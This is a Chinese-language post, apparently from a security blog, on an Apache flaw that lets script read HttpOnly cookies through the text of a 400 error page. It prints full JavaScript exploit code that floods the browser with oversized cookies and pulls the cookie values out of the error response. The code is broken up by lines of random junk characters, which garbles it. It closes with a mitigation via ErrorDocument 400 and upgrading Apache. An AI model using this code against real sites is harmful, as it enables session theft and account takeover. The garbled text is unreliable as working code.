Apache HttpOnly Cookie XSS跨站漏洞

admin

很多程序以及一些商业或者成熟开源的cms文章系统为了防止xss盗取用户cookie的问题，一般都采用给cookie加上httponly的属性，来禁止直接使用js得到用户的cookie，从而降低xss的危害，而这个问题刚好可以用来绕过cookie的这个httponly的属性。
+ K% r' R3 ^8 j2 I' X
用chrome打开一个站点，F12打开开发者工具，找到console输入如下代码并回车:
( t/ |* {' ?  R: e1 E
/ g5 J5 z# J: ^! W% l  A
// http://www.exploit-db.com/exploits/18442/
  A, @2 C) m9 |- Dfunction setCookies (good) {
// Construct string for cookie value
var str = "";
for (var i=0; i< 819; i++) {
str += "x";
}
// Set cookies
for (i = 0; i < 10; i++) {
0 W0 N  |; Z; H5 g3 B// Expire evil cookie
$ y" [) d8 W; J) T, qif (good) {
' ]) s, \; d; Gvar cookie = "xss"+i+"=;expires="+new Date(+new Date()-1).toUTCString()+"; path=/;";
( p/ n7 v' G, |3 U}
// Set evil cookie
else {
! D; f) h( ^, K8 D) f% e- Evar cookie = "xss"+i+"="+str+";path=/";
7 W9 _4 R# Z" V" q}
document.cookie = cookie;
9 V$ s% q$ R' T' E, _}
}
function makeRequest() {
" `& {/ z' T$ a) G) m. ?; N: _9 isetCookies();
function parseCookies () {
  u3 _, d) s8 N" A9 r. Jvar cookie_dict = {};
// Only react on 400 status
9 X9 H. U; j. h! {6 Vif (xhr.readyState === 4 && xhr.status === 400) {
// Replace newlines and match <pre> content
var content = xhr.responseText.replace(/\r|\n/g,'').match(/<pre>(.+)<\/pre>/);
  l" x9 j: n* o8 U+ f. N& fif (content.length) {
// Remove Cookie: prefix
content = content[1].replace("Cookie: ", "");
& ?8 y" S0 j+ J9 N+ e9 d. Xvar cookies = content.replace(/xss\d=x+;?/g, '').split(/;/g);
) `& e$ n4 S: t1 Z/ Z- K$ H// Add cookies to object
9 ~6 V* _% O2 e) N/ m4 [: Q  }for (var i=0; i<cookies.length; i++) {
% M3 J& S/ {$ ~2 _+ k( Bvar s_c = cookies.split('=',2);
cookie_dict[s_c[0]] = s_c[1];
* y$ ~. w+ X( b0 _, R) v}
}
6 q+ @6 V5 L; l& |// Unset malicious cookies
setCookies(true);
alert(JSON.stringify(cookie_dict));
}
}
2 S: A" D, c/ c+ b) d// Make XHR request
9 e* i/ a4 D) ^0 jvar xhr = new XMLHttpRequest();
$ _4 P8 M& a7 _/ y1 e* Pxhr.onreadystatechange = parseCookies;
xhr.open("GET", "/", true);
: i* ~6 z3 L' N7 q4 P2 ~! fxhr.send(null);
' k3 w8 ?$ c& V7 z7 h$ C}
makeRequest();

你就能看见华丽丽的400错误包含着cookie信息。

! |4 I/ s/ c1 ^下载地址：https://gist.github.com/pilate/1955a1c28324d4724b7b/download#
/ c- N2 u7 e  d* Z0 m6 I
! _# H, o1 q  {$ e& U1 c修复方案：
8 I  S# z% C2 l1 M
Apache官方提供4种错误处理方式（http://httpd.apache.org/docs/2.0/mod/core.html#errordocument），如下
8 R( l4 K9 f  w1 u/ _4 J( m
9 ~* n5 X5 J4 K7 f! u7 nIn the event of a problem or error, Apachecan be configured to do one of four things,
$ `2 L* v8 }8 u' s" y
! K% D% r. [$ K' M  Z7 \) }: F/ j1. output asimple hardcoded error message输出一个简单生硬的错误代码信息
2. output acustomized message输出一段信息
& a1 Q5 z6 f& I3. redirect to alocal URL-path to handle the problem/error转向一个本地的自定义页面
4. redirect to an external URL to handle theproblem/error转向一个外部URL
8 `* Q6 R4 H6 Z1 J, ^$ ^, A
1 v' w" ?  G9 V0 l4 d3 f经测试，对于400错误只有方法2有效，返回包不会再包含cookie内容
$ E- E0 ?# @( j: O! E' O; V! I  S
Apache配置：

2 t7 a$ E: V- ~& I; CErrorDocument400 " security test"

当然，升级apache到最新也可：）。

! B& e# T# N( ^" @  l参考：http://httpd.apache.org/security/vulnerabilities_22.html
) T3 o& C6 \5 a